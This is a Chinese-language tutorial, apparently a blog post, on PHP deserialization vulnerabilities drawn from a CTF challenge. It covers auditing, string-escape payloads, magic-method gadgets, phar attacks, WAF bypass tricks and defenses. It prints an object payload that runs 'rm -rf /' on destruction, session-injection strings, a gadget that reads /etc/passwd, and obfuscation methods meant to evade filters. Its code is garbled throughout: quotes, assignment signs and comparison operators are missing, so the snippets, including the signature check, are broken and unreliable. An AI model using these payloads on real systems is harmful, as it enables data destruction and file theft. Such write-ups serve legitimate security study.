1. PHP反序列化漏洞入门从代码审计开始我第一次接触PHP反序列化漏洞是在一次CTF比赛中当时完全不明白为什么一段看似无害的序列化数据能导致系统被攻破。后来在实际项目中审计代码时才发现这个漏洞比想象中更常见。简单来说PHP反序列化漏洞就是当程序将用户可控的序列化数据还原成PHP对象时如果处理不当就可能执行恶意代码。让我们从一个真实案例开始理解。假设有个网站保存用户偏好设置时使用了序列化$userPrefs unserialize($_COOKIE[preferences]);表面看这很合理但问题在于攻击者可以精心构造一个恶意的序列化字符串。比如class Evil { public $cmd rm -rf /; public function __destruct() { system($this-cmd); } } echo serialize(new Evil); // 输出O:4:Evil:1:{s:3:cmd;s:7:rm -rf /;}当这个字符串被反序列化时__destruct方法会自动执行导致服务器被清空。这就是为什么说反序列化是把用户数据当代码执行的高危操作。2. 代码审计实战发现漏洞模式在审计代码时我通常会重点检查这几个危险函数unserialize()maybe_unserialize()任何接收外部输入后直接反序列化的操作以[安洵杯2019]的题目为例关键漏洞点在这里$serialize_info filter(serialize($_SESSION)); //... $userinfo unserialize($serialize_info);这段代码有三个致命问题直接反序列化用户控制的$_SESSION数据过滤函数在序列化后执行破坏了数据结构最终通过file_get_contents读取文件我在审计时发现很多开发者会犯类似的错误——先序列化再过滤而不是先过滤再序列化。这种顺序差异正是漏洞利用的关键。3. 反序列化逃逸技巧详解3.1 键值逃逸实战让我们用题目中的案例具体分析。过滤函数会删除php,flag等关键词function filter($img){ $filter_arr array(php,flag,php5,php4,fl1g); $filter /.implode(|,$filter_arr)./i; return preg_replace($filter,,$img); }假设我们提交_SESSION[user]flagflagflagflagflagphp _SESSION[function];s:3:img;s:20:ZDBnM19mMWFnLnBocA;}过滤后连续的flagphp被删除导致后面的字符串被解析为新的键值对。这就实现了逃逸出现有结构注入恶意数据。3.2 键名逃逸技巧键名逃逸的原理类似但操作的是数组键名_SESSION[flagphp];s:1:1;s:3:img;s:20:ZDBnM19mMWFnLnBocA;}过滤后键名flagphp被删除剩下的部分会被解析为新的序列化数据结构。这种技术在过滤不严格时特别有效。4. 高级利用从文件读取到代码执行在实际渗透测试中我经常用反序列化漏洞实现多阶段攻击先通过逃逸技巧注入恶意对象利用PHP内置类的魔术方法如__destruct、__wakeup结合其他漏洞实现RCE比如这个Payload会读取敏感文件class FileReader { public $filename /etc/passwd; public function __toString() { return file_get_contents($this-filename); } } echo serialize(new FileReader);更危险的是结合phar协议通过文件上传实现反序列化。我曾在一个项目中通过上传恶意phar文件最终获得了服务器权限。5. 防御方案从开发到部署经过多次踩坑后我总结了这些防御措施输入验证永远不要反序列化不可信数据// 安全的做法 if(is_trusted_source($data)) { $obj unserialize($data); }使用JSON改用json_encode/json_decode$safeData json_decode($_POST[data], true);白名单验证检查反序列化的类$allowedClasses [SafeClass1, SafeClass2]; $obj unserialize($data, [allowed_classes $allowedClasses]);签名验证对序列化数据签名$data $_COOKIE[data]; $sig $_COOKIE[sig]; if(hash_hmac(sha256, $data, $secretKey) $sig) { $obj unserialize($data); }在最近的一次代码审计中我发现即使使用了白名单如果类本身存在风险也会出问题。所以最好的防御是彻底避免反序列化用户输入。6. 实战中的疑难问题解决在实际利用时经常会遇到各种过滤和限制。比如有一次遇到WAF拦截了所有包含flag的请求。我的绕过方法是使用base64编码敏感字符串$payload base64_encode(serialize($maliciousObj));利用PHP的引用特性class Bypass { public $a; public $b; public function __construct() { $this-a $this-b; } }结合字符编码技巧$payload str_replace(flag, \x66\x6c\x61\x67, $serialized);这些技巧需要根据实际情况灵活组合。我建议先在测试环境验证确保Payload能按预期工作。